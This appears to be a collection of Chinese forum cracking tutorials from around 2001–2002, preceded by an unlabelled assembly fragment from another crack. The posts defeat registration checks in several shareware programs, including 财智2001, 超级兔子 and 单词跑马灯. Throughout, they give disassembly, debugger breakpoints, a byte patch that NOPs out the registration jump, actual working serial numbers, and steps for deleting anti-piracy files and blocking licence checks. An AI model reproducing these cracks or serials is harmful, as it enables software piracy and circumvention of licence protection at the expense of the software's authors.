016F:00560B67 MOV EDX,02
016F:00560B6C CALL 00685668
016F:00560B71 DEC DWORD [EBP-7C]
016F:00560B74 LEA EAX,[EBP-24]
016F:00560B77 MOV EDX,02
016F:00560B7C CALL 00685668
016F:00560B81 MOV WORD [EBP+FFFFFF78],08
016F:00560B8A MOV WORD [EBP+FFFFFF78],50
016F:00560B93 XOR EAX,EAX
016F:00560B95 LEA EDX,[EBP-18]
016F:00560B98 MOV [EBP-18],EAX
016F:00560B9B MOV EAX,89
016F:00560BA0 INC DWORD [EBP-7C]
016F:00560BA3 CALL 00508C9C
016F:00560BA8 MOV WORD [EBP+FFFFFF78],08
016F:00560BB1 MOV WORD [EBP+FFFFFF78],5C
016F:00560BBA XOR ECX,ECX
016F:00560BBC MOV [EBP-2C],ECX
016F:00560BBF LEA EDX,[EBP-2C]
016F:00560BC2 INC DWORD [EBP-7C]
016F:00560BC5 MOV EAX,[EBP-0C] 〈此处EBP-0C在这段代码中只出现一次故很可疑下D ebp-0c无发现016F:00560BC8 CALL 00505914 《-----此处下D EAX 得真注册码
016F:00560BCD LEA EAX,[EBP-2C]
016F:00560BD0 MOV EAX,[EAX]
016F:00560BD2 XOR EDX,EDX
016F:00560BD4 MOV [EBP-1C],EDX
016F:00560BD7 LEA EDX,[EBP-1C]
016F:00560BDA INC DWORD [EBP-7C]
016F:00560BDD CALL 00505914
016F:00560BE2 DEC DWORD [EBP-7C]
016F:00560BE5 LEA EAX,[EBP-2C]
016F:00560BE8 MOV EDX,02
016F:00560BED CALL 00685668
016F:00560BF2 MOV WORD [EBP+FFFFFF78],08
016F:00560BFB MOV WORD [EBP+FFFFFF78],68
016F:00560C04 XOR EAX,EAX
016F:00560C06 LEA EDX,[EBP-20]
016F:00560C09 MOV [EBP-20],EAX
016F:00560C0C MOV EAX,93
016F:00560C11 INC DWORD [EBP-7C]
016F:00560C14 CALL 00508C9C
016F:00560C19 MOV WORD [EBP+FFFFFF78],08
016F:00560C22 LEA EDX,[EBP-1C]
016F:00560C25 LEA EAX,[EBP-14]
016F:00560C28 CALL 0068574C
016F:00560C2D TEST AL,AL
016F:00560C2F JZ NEAR 00561029


财智2001家庭理财

 标 题:学习篇---用dede3.0破财智2001家庭理财加强版注册版 (7千字)
发信人:staray
时 间:2002-3-11 16:58:48
详细信息:
下载地址：http://www.imoney.com.cn/download/software/mh2001plus.exe 8950k
1、运行winspect.exe，发现财智2001注册窗口的form名字为TRegisterFm。
关闭软件。

2、运行dede3.0，选择文件，点process，编译结束后点form，找到 TRegisterFm，看events
object RegisterFm: TRegisterFm
..........
object Panel2: TPanel
Left = 0
Top = 323
Width = 549
Height = 40
Align = alBottom
TabOrder = 1
object btnReg: TBitBtn
Left = 434
Top = 7
Width = 89
Height = 25
Caption = '完成注册'
TabOrder = 0
OnClick = btnRegClick//找到event，双击
Kind = bkOK
end
object btnCancel: TBitBtn
Left = 332
Top = 7
Width = 91
Height = 25
Caption = '稍后注册'
TabOrder = 1
Kind = bkCancel
end
....................

出现如下代码，分析
004C4E18 55 push ebp
004C4E19 8BEC mov ebp, esp
004C4E1B 6A00 push $00
004C4E1D 53 push ebx
004C4E1E 8BD8 mov ebx, eax
004C4E20 33C0 xor eax, eax
004C4E22 55 push ebp

* Possible String Reference to: '長塍�腽[Y]?
|
004C4E23 68E74E4C00 push $004C4EE7

***** TRY
|
004C4E28 64FF30 push dword ptr fs:[eax]
004C4E2B 648920 mov fs:[eax], esp

* Reference to control btnCancel : TBitBtn
|
004C4E2E 8B83FC020000 mov eax, [ebx+$02FC]
004C4E34 80784700 cmp byte ptr [eax+$47], $00
004C4E38 0F8493000000 jz 004C4ED1
004C4E3E 8D55FC lea edx, [ebp-$04]

* Reference to control edRegCode : TEdit
|
004C4E41 8B83F4020000 mov eax, [ebx+$02F4]

* Reference to: controls.TControl.GetText(TControl):System.String;
|
004C4E47 E8702CF7FF call 00437ABC
004C4E4C 8B45FC mov eax, [ebp-$04]

|
004C4E4F E850F8FFFF call 004C46A4//关键call,跟入看看
004C4E54 84C0 test al, al
004C4E56 744F jz 004C4EA7
004C4E58 A17CB96500 mov eax, dword ptr [$65B97C]
004C4E5D 8B00 mov eax, [eax]
004C4E5F 8B55FC mov edx, [ebp-$04]

|
004C4E62 E8E190FFFF call 004BDF48//存入注册表
004C4E67 6A00 push $00
004C4E69 668B0DF44E4C00 mov cx, word ptr [$4C4EF4]
004C4E70 B202 mov dl, $02

* Possible String Reference to: '祝贺您,注册成功！'
|
004C4E72 B8004F4C00 mov eax, $004C4F00

|
004C4E77 E818A5F9FF call 0045F394
004C4E7C 8D832C030000 lea eax, [ebx+$032C]
004C4E82 8B55FC mov edx, [ebp-$04]

* Reference to: system.@LStrAsg;
|
004C4E85 E886F1F3FF call 00404010
004C4E8A 8BC3 mov eax, ebx

|
004C4E8C E81FFCFFFF call 004C4AB0
004C4E91 C783300300000F270000 mov dword ptr [ebx+$0330], $0000270F
004C4E9B C7833402000001000000 mov dword ptr [ebx+$0234], $00000001
004C4EA5 EB2A jmp 004C4ED1
004C4EA7 6A00 push $00
004C4EA9 668B0DF44E4C00 mov cx, word ptr [$4C4EF4]
004C4EB0 B201 mov dl, $01

* Possible String Reference to: '对不起，注册失败,请校对注册码'
|
004C4EB2 B81C4F4C00 mov eax, $004C4F1C

|
004C4EB7 E8D8A4F9FF call 0045F394

* Reference to control edRegCode : TEdit
|
004C4EBC 8B93F4020000 mov edx, [ebx+$02F4]
004C4EC2 8BC3 mov eax, ebx

* Reference to: forms.TCustomForm.SetActiveControl(TCustomForm;Controls.TWinControl);
|
004C4EC4 E85FCBF8FF call 00451A28
004C4EC9 33C0 xor eax, eax
004C4ECB 898334020000 mov [ebx+$0234], eax
004C4ED1 33C0 xor eax, eax
004C4ED3 5A pop edx
004C4ED4 59 pop ecx
004C4ED5 59 pop ecx
004C4ED6 648910 mov fs:[eax], edx

****** FINALLY
|

* Possible String Reference to: '[Y]?
|
004C4ED9 68EE4E4C00 push $004C4EEE
004C4EDE 8D45FC lea eax, [ebp-$04]

* Reference to: system.@LStrClr(String);
|
004C4EE1 E8D6F0F3FF call 00403FBC
004C4EE6 C3 ret

004C4EE7 E94CEBF3FF jmp 00403A38
004C4EEC EBF0 jmp 004C4EDE

****** END
|
004C4EEE 5B pop ebx
004C4EEF 59 pop ecx
004C4EF0 5D pop ebp
004C4EF1 C3 ret
====================================================================================
那个call的内容如下：
004C46A4 55 push ebp
004C46A5 8BEC mov ebp, esp
004C46A7 6A00 push $00
004C46A9 6A00 push $00
004C46AB 6A00 push $00
004C46AD 53 push ebx
004C46AE 8945FC mov [ebp-$04], eax//输入的假注册码
004C46B1 8B45FC mov eax, [ebp-$04]

* Reference to: system.@LStrAddRef;
|
004C46B4 E847FDF3FF call 00404400
004C46B9 33C0 xor eax, eax
004C46BB 55 push ebp
004C46BC 6819474C00 push $004C4719

***** TRY
|
004C46C1 64FF30 push dword ptr fs:[eax]
004C46C4 648920 mov fs:[eax], esp
004C46C7 8D45F4 lea eax, [ebp-$0C]

|
004C46CA E831FFFFFF call 004C4600
004C46CF 8B45F4 mov eax, [ebp-$0C]//机器码
004C46D2 8D55F8 lea edx, [ebp-$08]

|
004C46D5 E846FFFFFF call 004C4620
004C46DA 8B45F8 mov eax, [ebp-$08]
|
004C46DD E8FAFCFFFF call 004C43DC//此处下d eax可看到真的注册码
004C46E2 8BD8 mov ebx, eax
004C46E4 8B45FC mov eax, [ebp-$04]

|
004C46E7 E8F0FCFFFF call 004C43DC
004C46EC 85C0 test eax, eax
004C46EE 7504 jnz 004C46F4
004C46F0 33DB xor ebx, ebx
004C46F2 EB0A jmp 004C46FE
004C46F4 3BC3 cmp eax, ebx
004C46F6 7504 jnz 004C46FC
004C46F8 B301 mov bl, $01
004C46FA EB02 jmp 004C46FE
004C46FC 33DB xor ebx, ebx
004C46FE 33C0 xor eax, eax
004C4700 5A pop edx
004C4701 59 pop ecx
004C4702 59 pop ecx
004C4703 648910 mov fs:[eax], edx

****** FINALLY

3、运行trw，下bpx 004C46DD， 中断后d eax 看到我的注册码
3126-0351

重新输入注册码，注册成功


财智老板通2.0

 标 题:学习篇2----用dede3.0破财智老板通2.0注册版 (7千字)
发信人:staray
时 间:2002-3-12 11:22:28
详细信息:
用dede3.0破财智老板通2.0注册版

下载地址：http://www.imoney.com.cn/download/software/boss2r.exe 大小5311k
1、运行winspect.exe，发现财智老板通2.0注册窗口的form名字为TRegisterFm。
关闭软件。
2、运行dede3.0，选择文件，点process，编译结束后点form，找到 TRegisterFm，看events

object Panel2: TPanel
Left = 0
Top = 352
Width = 576
Height = 40
Align = alBottom
TabOrder = 1
object btnReg: TBitBtn
Left = 434
Top = 7
Width = 89
Height = 25
Caption = '完成注册'
TabOrder = 0
OnClick = btnRegClick
Kind = bkOK
end
...........................................
0053429C 55 push ebp
0053429D 8BEC mov ebp, esp
0053429F 6A00 push $00
005342A1 53 push ebx
005342A2 8BD8 mov ebx, eax
005342A4 33C0 xor eax, eax
005342A6 55 push ebp

* Possible String Reference to: '閔鲮�腽[Y]?
|
005342A7 6873435300 push $00534373

***** TRY
|
005342AC 64FF30 push dword ptr fs:[eax]
005342AF 648920 mov fs:[eax], esp

* Reference to control btnCancel : TBitBtn
|
005342B2 8B83FC020000 mov eax, [ebx+$02FC]
005342B8 80784700 cmp byte ptr [eax+$47], $00
005342BC 750C jnz 005342CA
005342BE 8BC3 mov eax, ebx

|
005342C0 E8C7C6F1FF call 0045098C
005342C5 E993000000 jmp 0053435D
005342CA 8D55FC lea edx, [ebp-$04]

* Reference to control edRegCode : TEdit
|
005342CD 8B83F4020000 mov eax, [ebx+$02F4]

* Reference to: controls.TControl.GetText(TControl):System.String;
|
005342D3 E82410F0FF call 004352FC
005342D8 8B45FC mov eax, [ebp-$04]

* Reference to : TChildListfm._PROC_005339BC()
|
005342DB E8DCF6FFFF call 005339BC//关键call,跟进
005342E0 84C0 test al, al//
005342E2 744F jz 00534333
005342E4 A194975F00 mov eax, dword ptr [$5F9794]
005342E9 8B00 mov eax, [eax]
005342EB 8B55FC mov edx, [ebp-$04]

|
005342EE E88947FEFF call 00518A7C
005342F3 6A00 push $00
005342F5 668B0D80435300 mov cx, word ptr [$534380]
005342FC B202 mov dl, $02

* Possible String Reference to: ' 祝贺您,注册成功！请保存好您
| 的注册码，以便您以后需要重新安装软?
| 笔褂谩?
|
005342FE B88C435300 mov eax, $0053438C

|
00534303 E8AC81F2FF call 0045C4B4
00534308 8D8330030000 lea eax, [ebx+$0330]
0053430E 8B55FC mov edx, [ebp-$04]

* Reference to: system.@LStrAsg;
|
00534311 E8A2FCECFF call 00403FB8
00534316 8BC3 mov eax, ebx

|
00534318 E8B3FAFFFF call 00533DD0
0053431D C783340300000F270000 mov dword ptr [ebx+$0334], $0000270F
00534327 C7833402000001000000 mov dword ptr [ebx+$0234], $00000001
00534331 EB2A jmp 0053435D
00534333 6A00 push $00
00534335 668B0D80435300 mov cx, word ptr [$534380]
0053433C B201 mov dl, $01

* Possible String Reference to: '对不起，注册失败,请校对注册码'
|
0053433E B8E8435300 mov eax, $005343E8

|
00534343 E86C81F2FF call 0045C4B4

* Reference to control edRegCode : TEdit
|
00534348 8B93F4020000 mov edx, [ebx+$02F4]
0053434E 8BC3 mov eax, ebx

* Reference to: forms.TCustomForm.SetActiveControl(TCustomForm;Controls.TWinControl);
|
00534350 E8D3ADF1FF call 0044F128
00534355 33C0 xor eax, eax
00534357 898334020000 mov [ebx+$0234], eax
0053435D 33C0 xor eax, eax
0053435F 5A pop edx
00534360 59 pop ecx
00534361 59 pop ecx
00534362 648910 mov fs:[eax], edx

****** FINALLY
|

* Possible String Reference to: '[Y]?
|
00534365 687A435300 push $0053437A
0053436A 8D45FC lea eax, [ebp-$04]

* Reference to: system.@LStrClr(String);
|
0053436D E8F2FBECFF call 00403F64
00534372 C3 ret

00534373 E968F6ECFF jmp 004039E0
00534378 EBF0 jmp 0053436A

****** END
|
0053437A 5B pop ebx
0053437B 59 pop ecx
0053437C 5D pop ebp
0053437D C3 ret
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
005339BC 55 push ebp
005339BD 8BEC mov ebp, esp
005339BF 6A00 push $00
005339C1 6A00 push $00
005339C3 6A00 push $00
005339C5 53 push ebx
005339C6 8945FC mov [ebp-$04], eax
005339C9 8B45FC mov eax, [ebp-$04]

* Reference to: system.@LStrAddRef;
|
005339CC E8D709EDFF call 004043A8
005339D1 33C0 xor eax, eax
005339D3 55 push ebp

* Possible String Reference to: '楠�?腚嬅[嬪]脨U嬱3繳he:S'
|
005339D4 68313A5300 push $00533A31

***** TRY
|
005339D9 64FF30 push dword ptr fs:[eax]
005339DC 648920 mov fs:[eax], esp
005339DF 8D45F4 lea eax, [ebp-$0C]

|
005339E2 E831FFFFFF call 00533918
005339E7 8B45F4 mov eax, [ebp-$0C]
005339EA 8D55F8 lea edx, [ebp-$08]

|
005339ED E846FFFFFF call 00533938//d eax 可见到机器码8-446-4282
005339F2 8B45F8 mov eax, [ebp-$08]

|
005339F5 E8FAFCFFFF call 005336F4//d eax 可见到真注册码3-002-3861
005339FA 8BD8 mov ebx, eax
005339FC 8B45FC mov eax, [ebp-$04]

|
005339FF E8F0FCFFFF call 005336F4
00533A04 85C0 test eax, eax
00533A06 7504 jnz 00533A0C
00533A08 33DB xor ebx, ebx
00533A0A EB0A jmp 00533A16
00533A0C 3BC3 cmp eax, ebx
00533A0E 7504 jnz 00533A14
00533A10 B301 mov bl, $01
00533A12 EB02 jmp 00533A16
00533A14 33DB xor ebx, ebx
00533A16 33C0 xor eax, eax
00533A18 5A pop edx
00533A19 59 pop ecx
00533A1A 59 pop ecx
00533A1B 648910 mov fs:[eax], edx

****** FINALLY

收工


超级个人软件 V2.5

 标 题:超级个人软件 V2.5 破解过程！ (3千字)
发信人:leeyam
时 间:2002-3-4 13:14:41
详细信息:
目标软件：超级个人软件 V2.5
破解工具：W32Dasm、TRW2000、UnAspack 1.091
难度级别：easy
软件下载：http://gd.skycn.net/down/superm.zip

脱壳后用 W32Dasm 打开 Super.exe 查看字串，发现：

* Possible StringData Ref from Code Obj ->"*****-*****-*****"
                                  |
:0053E4E1 BA18E65300　　　　　　　mov edx, 0053E618
:0053E4E6 8B83EC020000　　　　　　mov eax, dword ptr [ebx+000002EC]
:0053E4EC E8FF64EFFF　　　　　　　call 004349F0
:0053E4F1 33D2　　　　　　　　　　xor edx, edx
:0053E4F3 8B83E0020000　　　　　　mov eax, dword ptr [ebx+000002E0]
:0053E4F9 8B08　　　　　　　　　　mov ecx, dword ptr [eax]
:0053E4FB FF515C　　　　　　　　　call [ecx+5C]

"*****-*****-*****"这应该是正确注册码的格式吧！
在这附近观察了一会儿，没有发现更多可疑之处，再次搜索字串找到"授权注册码没有填写！"字样。双击看看！

:0053E280 837DF800　　　　　　　　cmp dword ptr [ebp-08], 00000000…………………………比较授权注册码是否填写！
:0053E284 750F　　　　　　　　　　jne 0053E295…………………………已填写就跳过下面的提示。

* Possible StringData Ref from Code Obj ->"授权注册码没有填写！"
                                  |
:0053E286 B880E35300　　　　　　　mov eax, 0053E380
:0053E28B E8ACBAF1FF　　　　　　　call 00459D3C
:0053E290 E9B7000000　　　　　　　jmp 0053E34C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0053E284(C)
|
:0053E295 8D55FC　　　　　　　　　lea edx, dword ptr [ebp-04]…………………………跳到这里！
:0053E298 8B83EC020000　　　　　　mov eax, dword ptr [ebx+000002EC]
:0053E29E E81D67EFFF　　　　　　　call 004349C0
:0053E2A3 B201　　　　　　　　　　mov dl, 01
:0053E2A5 A11CAD4600　　　　　　　mov eax, dword ptr [0046AD1C]
:0053E2AA E8D9CBF2FF　　　　　　　call 0046AE88
:0053E2AF 8BF0　　　　　　　　　　mov esi, eax
:0053E2B1 BA01000080　　　　　　　mov edx, 80000001
:0053E2B6 8BC6　　　　　　　　　　mov eax, esi
:0053E2B8 E8A7CCF2FF　　　　　　　call 0046AF64
:0053E2BD B101　　　　　　　　　　mov cl, 01

* Possible StringData Ref from Code Obj ->"Software\Microsoft\Windows\CurrentVersion\Syst"
                                        ->"em\per"
                                  |
:0053E2BF BAA0E35300　　　　　　　mov edx, 0053E3A0
:0053E2C4 8BC6　　　　　　　　　　mov eax, esi
:0053E2C6 E8DDCDF2FF　　　　　　　call 0046B0A8
:0053E2CB 8B45FC　　　　　　　　　mov eax, dword ptr [ebp-04]
:0053E2CE 8B1578D45700　　　　　　mov edx, dword ptr [0057D478]
:0053E2D4 8B12　　　　　　　　　　mov edx, dword ptr [edx]
:0053E2D6 8B9284030000　　　　　　mov edx, dword ptr [edx+00000384]
:0053E2DC E8875EECFF　　　　　　　call 00404168…………………………F8进入[在此 D EAX 看到我填的注册码，D EDX 就是正确的注册码！]
:0053E2E1 740E　　　　　　　　　　je 0053E2F1…………………………这里有个跳，不能忽视，观察上面的Call
:0053E2E3 A1D4D75700　　　　　　　mov eax, dword ptr [0057D7D4]
:0053E2E8 8B00　　　　　　　　　　mov eax, dword ptr [eax]
:0053E2EA E84555F1FF　　　　　　　call 00453834
:0053E2EF EB19　　　　　　　　　　jmp 0053E30A

进入 0053E2DC 的 Call
:00404168 53　　　　　　　　　　　push ebx
:00404169 56　　　　　　　　　　　push esi
:0040416A 57　　　　　　　　　　　push edi
:0040416B 89C6　　　　　　　　　　mov esi, eax
:0040416D 89D7　　　　　　　　　　mov edi, edx
:0040416F 39D0　　　　　　　　　　cmp eax, edx…………………………呵呵！
:00404171 0F848F000000　　　　　　je 00404206

静态分析结束，现在有了目标，开始用动态跟踪了！运行超级个人软件V2.5，选择软件注册，填入注册码"11111-22222-33333"打开 TRW2000 下中断 bpx 53E2DC 再按F5，按下"现在注册"按钮，被中断！哈哈，现在输入 d edx 可以看到 24448-5F482-15234 这就是我的注册码了！


超级魔法兔子设置

标 题: 超级魔法兔子设置 V4.0破 解(得到完全注册码)
发信人:fwnl
时 间:2002/01/14 11:27am
详细信息:
工具:softice
crack by fwnl
听说超级魔法兔子设置有内部版和共享版之分，内部版3.97可到自由鸟汉化找到，我看了半天也不知有什么不同。反正都可以注册成功就行，我就只要它这个功能，:)。
在网上找了好多超级兔子的注册码，可不是进了兔子的黑名单,如：Sun Bird [CCG] Sn: CX-AYYABBPDOLG （完全不能用），就是不完全注册码。如 天若有情 sn:CXMSR-ZPZWTJWBCDZ(可以注册，不过你怎么改都没反应) 即然大虾们都找出了注册码，我这菜鸟就自己碰碰运气，找一找
开始我试过用兔子组件里的ms98.exe破。发现找到的注册码就是不能注册winspeed.exe组件，所以干脆就用winspeed.exe.
首先在超级魔法兔子的目录下找到winspeed.exe(我用的是超级兔子4.0中的winspeed.exe 3.4)，打开会出来注册对话框,名字随便填，注册码我为了省事就按照正确注册码的形式CXMS-xxxxxxxxxx（CXMSR- 是必需的,后面乱填11个字母），其它填法行不行，我没试过.点确定，然后点退出，因为兔子要在下一次起动时校验注册码.
Ctrl+D 呼出softice （注意:要记得在winice.dat包含VB5的运行库，如没有，一定要添加）
下Bpx __vbaStrComp("__"就是按下划线2下）,按F5返回，再点winspeed.exe,程序立刻被中断后
下bc *，这时按F10几下来到下面这里:( ****** 代表你在softice下看到的数字，因为每台机器看到的不相同，只好用******代替了)

******9f PUSH EAX
******A0 PUSH DWORD PTR [EBP+0C]
******a3 PUSH DWORD PTR [EBP+10]
CALL *******
TEST EAX,EAX

然后下bpx ******9f do "d ecx" （下中断时,不是bpx ******9f 然后d ecx,而是完整的）

(不下bpx ******9f，一直按F10你会看到兔子在不断拿你的名字和黑名单比较.比到最后一个时d ecx就出真码)

然后要做的事就是狂按F5。按十几下可看见黑名单，里面的名字是不是很眼熟,:)

E.G.I.S........
LI....HAO......
SOFTICE的内存窗口 ====> ...S.W.N.E.T.C.

这时你可按AIL+PageDown往下看，看最后一个黑注册码是什么
WINSPEED3.4版的看见的是JGMGRCTCWVK
J.G.M.G.R.C.T.C
W.V.K.......5..
SOFTICE的内存窗口 ====> ....6.......7..
....8.......9..

当你按F5几十下窗口出现JGMGRCTCWVK这个数据时,再按一下f5就可得正确的11位注码.
(如版本不同可能不是JGMGRCTCWVK,反正就是最后一个黑名单就行)
(正确的注册码出现后,再按一下F5,softice的内存窗口这时就是空的啦，所以也可以记下按的次数找)
(最好用超级兔子4.0中的winspeed3.4来找,4.15中的不行.找到的注册码所有版本都是可用的)
把得到的11位注册码加上前缀CXMS-,就搞定收工了，再启动ms98.exe，填上，所有的组件都应注册了.
功能我随便试了一下，好像能用，是不是所有的功能都能用，我就懒得试了，因为我只用它的右键菜单管理，
和IE设置。
（个别低版本可能要填写2次才能注册）

我得到的注册码是: fwnl 注册码:CXMS-TQFRGHICQYK

注意:同样的名字可能每次得到的注册码都不一样，不过都能用.
最后祝各位玩得开心，心想事成. 不知那位高人可做出注册机.
fwnl
2002.1.15
长沙
本贴子于2002.1.16
日修改，谢谢f1y兄指正

标 题: 安全使用超级兔子的方法
发信人:kao123
时 间:2002/01/14 06:48pm
详细信息:

如果兔子已经作了暗桩，先解除：将c:\windows\system（NT/2000的在winnt\system32）下的文件piratesr.dll(3.97以上)或srpirate.sys(4.0以上新增)删除，注意该文件是“只读+系统+隐藏”属性，要在文件夹选项中允许“显示所有文件（9x/me/ＮＴ／２Ｋ／ＸＰ均有此选项）”及“不保护受系统保护的文件(ＮＴ／２Ｋ／ＸＰ才有此选项)”，才看得到该文件

注意，将天网防火墙打开，先看看兔子程序C:\Program Files\Super Rabbit\MagicSet\ms98.exe或ms2000.exe、winfix.exe、regopt.exe在应用程序访问网络权限记录里有没有，如有，点该条记录后面的“X”两次即可。如没有，请到系统设置处，应用程序权限处不要打勾，按确定保存天网的设置，然后可放心干下去了：运行安装程序后注册,大胆的用吧！运行魔法设置及注册表优化、修理专家，防火墙如果弹出对话：该程序要访问远程服务器，允许，禁止？选永远禁止即可！将魔法设置及注册表优化、修理专家永远禁止后就可以在系统设置里应用程序权限处打勾了！

特别要注意，不要开着注册表保护器运行超级兔子的其它修改注册表的软件！不然，有的地方不能保存设置。


超级兔子魔法设置4.17

标 题:超级兔子魔法设置4.17pj
发信人:飞狐
时 间:2002/02/24 09:45pm
详细信息:

超级兔子魔法设置4.17pj
pj工具：TRW2000，此软件是用VB编的。
1、BPX　＿＿VBASTRCOMP
2、按CTR＋N
3、BD＊
4、慢按F10，看到：
167：0076283585　MOV　ECX，[EBP+0C]
167：0076283588 MOV EDI,[ECX-04]
167：007628358B CMP EDI,ESI
下中断BPX　7628358B　DO　“D　ECX”
5、狂按F5（数百下，^_^），注意数据区显示的密码。
魔法设置：
flyingfox
CVMROVWX1
9O9URYAB9
wwangwei :9K9SPYAB9
修理专家与超级加速：
wwangwei:2147483648


单词跑马灯1.0

 标 题:我的第2篇破文 高手莫入!! (3千字)
发信人:zywicbc
时 间:2001-11-11 12:54:49
详细信息:
软件：单词跑马灯1.0
原版下载地址:http://www.csdn.net/soft/openfile.asp?kind=1&id=14164
目标：找出注册码
工具：language2000 ，DeDe ，Ultraedit
软件作者：xtzy
软件主页：http://xtzy.51.net/soft/english/english.htm
软件类别：中文相关 单词浏览，单词听写...
最新版本：下载软件(软件名） 软件大小 源程序语言 发布日期
单词跑马灯 1.0 245K c++ 2001-10-24
---------------------------------------------------------------
初学破解,一点心得,希望与大家交流.(在白菜大哥的站上下了fish大哥的注册版，可惜installer CRC invalid 出错，所以自力更新).
这个软件用language2000测出用ASProtect/ASPack 压缩/加密过，用ASProtect与Aspack的克星Caspr.exe脱壳后软件变成576k大小，再用language2000测出是Dephi编的。该软件使用机器码对应注册码，未注册版仅能显示300个单词或选择词序重新学习！
用DeDe反编译脱壳后软件，在窗体中只有模块一个TForm1, 选TForm1可看到
object N1: TMenuItem
Caption = '注册'
object N2: TMenuItem
Caption = '说明'
OnClick = N2Click
end
object N3: TMenuItem
Caption = '注册'
OnClick = N3Click
end

跟进N3Click ，可看到
* Possible String Reference to: '您的机器码是: '
|
00404FE0 B81A184600 mov eax, $0046181A
00404FE5 5A pop edx
|
00404FE6 E8D5AE0500 call 0045FEC0
00404FEB 8D4DF4 lea ecx, [ebp-$0C]
00404FEE FF31 push dword ptr [ecx]
* Possible String Reference to: '请输入您的注册码：'
|
00404FF0 BA29184600 mov edx, $00461829
00404FF5 8D45F0 lea eax, [ebp-$10]
|
00404FF8 E8DBAB0500 call 0045FBD8
00404FFD FF45D8 inc dword ptr [ebp-$28]
00405000 8B10 mov edx, [eax]
00405002 8D4DFC lea ecx, [ebp-$04]
00405005 58 pop eax
* Reference to: dialogs.InputQuery(System.AnsiString;System.AnsiString;System.AnsiString):System.Boolean;
|
00405006 E8CD950200 call 0042E5D8
0040500B FF4DD8 dec dword ptr [ebp-$28]
0040500E 8D45F0 lea eax, [ebp-$10]
00405011 BA02000000 mov edx, $00000002
|
00405016 E88DAC0500 call 0045FCA8
0040501B FF4DD8 dec dword ptr [ebp-$28]
0040501E 8D45F4 lea eax, [ebp-$0C]
00405021 BA02000000 mov edx, $00000002
|
00405026 E87DAC0500 call 0045FCA8
0040502B FF4DD8 dec dword ptr [ebp-$28]
0040502E 8D45F8 lea eax, [ebp-$08]
00405031 BA02000000 mov edx, $00000002
|
00405036 E86DAC0500 call 0045FCA8
0040503B 8B45FC mov eax, [ebp-$04]
* Reference to: sysutils.StrToInt(System.AnsiString):System.Integer;
|
0040503E E8853A0400 call 00448AC8
00405043 3B0510144600 cmp eax, [$461410]
00405049 0F8591000000 jnz 004050E0 <====等于0 成功
0040504F 66C745CC2C00 mov word ptr [ebp-$34], $002C 不等于0 跳 注册失败
* Possible String Reference to: '注册成功！谢谢！'
|
00405055 BA3C184600 mov edx, $0046183C
0040505A 8D45EC lea eax, [ebp-$14]
|
0040505D E876AB0500 call 0045FBD8
00405062 FF45D8 inc dword ptr [ebp-$28]
00405065 8B00 mov eax, [eax]

好，我爆、爆、爆(用trw & Ollydbg 追过不成功，学艺未精!!!)！用Ultraedit打开脱壳后软件，
找0F8591000000 改为 909090909090 .重新运行改过的软件，随便输入注册码1111，“ok"
'注册成功！谢谢！'生成一个ini文件，打开有
[Regist]
NO=439956643 <====我机器对应的注册码
重新运行原装软件，输入注册码439956643，注册成功。
纯粹交流学习，别无它意，该软件注册费four元，请支持国产软件！！！
这是小弟写的第二篇破文,不知此文可不可以做我加入BCG的第一篇呢？

zywicbc 2001/11/11 上午


电子小说阅读器

 标 题:电子小说阅读器黄金版破解手记 (5千字)
发信人:crackYY[CNCG]
时 间:2001-11-14 2:01:16
详细信息:
电子小说阅读器黄金版破解手记

作者：crackYY[CNCG]
工具：FileInfo v2.45 trw2000 v1.22 W32Dasm8.93黄金版

这是一个很别制的文本阅读器，我很喜欢它，不过不注册只能使用30次（真小气）。
首先用FI检测它是否加壳，又是没壳（难到现在流行不加壳？？）。好，请出TRW大侠，开工！运行电子小说阅读器，马上会出现一个注册窗口，随便添上一个用户名和一个注册码。我添的用户名是：crackYY 注册码：78787878 ，然后Ctrl+N呼出TRW，下断点：bpx hmemcpy ,按F5把控制权交给电子小说阅读器。点击确定按钮，TRW弹出，下命令：bc * 去除断点，现下命令：pmodule 直接来到程序领空，看到如下代码：

0167:00438A1A CALL `USER32!CallWindowProcA`
0167:00438A1F MOV [EBX+0C],EAX
0167:00438A22 MOV EAX,[EBX]
0167:00438A24 CMP EAX,BYTE +0C
0167:00438A27 JNZ 00438A44
0167:00438A29 MOV EDX,[EBX+08]
0167:00438A2C PUSH EDX
0167:00438A2D MOV ECX,[EBX+04]
0167:00438A30 MOV EDX,EAX
0167:00438A32 MOV EAX,ESI
0167:00438A34 CALL 00434870
0167:00438A39 JMP SHORT 00438A44
0167:00438A3B MOV EDX,EBX
0167:00438A3D MOV EAX,ESI
0167:00438A3F CALL 00435E00

然后按了几十次F12也没出错，气死我啦！那好，我今天就换个方法来破解这个小东东（等死吧！）。拿出我的"屠龙宝刀"——W32Dasm，然后反汇编电子小说阅读器，用串式参考找到："注册失败，请重新注册册！"。再向上找je jz等跳转指令，嗯，发现一个：

* Possible StringData Ref from Code Obj ->"350512"
|
:004B605E BA18624B00 mov edx, 004B6218
:004B6063 E84CDFF4FF call 00403FB4 ———在这里下断点:bpx 004b6063
:004B6068 752E jne 004B6098 ————就是这个啦！
:004B606A 6A40 push 00000040
* Possible StringData Ref from Code Obj ->"提示"
|
:004B606C B9E0614B00 mov ecx, 004B61E0
* Possible StringData Ref from Code Obj ->"注册失败，请重新注册！"

既然已经找到到啦，那还等什么？退出W32Dasm，然后运行电子小说阅读器，Ctrl+N呼出TRW，下断点:bpx 004b6063 ，用户名：crackYY 注册码：78787878，点击确定按钮。这里TRW会弹出，拦到以下代码：

0167:004B605E MOV EDX,004B6218
0167:004B6063 CALL 00403FB4————光标停在这一行，按F8进入。
0167:004B6068 JNZ 004B6098
0167:004B606A PUSH BYTE +40
0167:004B606C MOV ECX,004B61E0
0167:004B6071 MOV EDX,004B6330
0167:004B6076 MOV EAX,[004E8C6C]
0167:004B607B MOV EAX,[EAX]
0167:004B607D CALL 00453078—————————走到这里出错。
0167:004B6082 MOV EAX,[004E8A20]
0167:004B6087 MOV EAX,[EAX]
0167:004B6089 MOV EAX,[EAX+0460]
0167:004B608F MOV DL,01
0167:004B6091 CALL 0044541C
0167:004B6096 JMP SHORT 004B6114

按F8跟进后，会看到以下代码：

0167:00403FB1 LEA EAX,[EAX+00]
0167:00403FB4 PUSH EBX——————下命令：d edx 会看到一组数字：350512
0167:00403FB5 PUSH ESI
0167:00403FB6 PUSH EDI
0167:00403FB7 MOV ESI,EAX
0167:00403FB9 MOV EDI,EDX
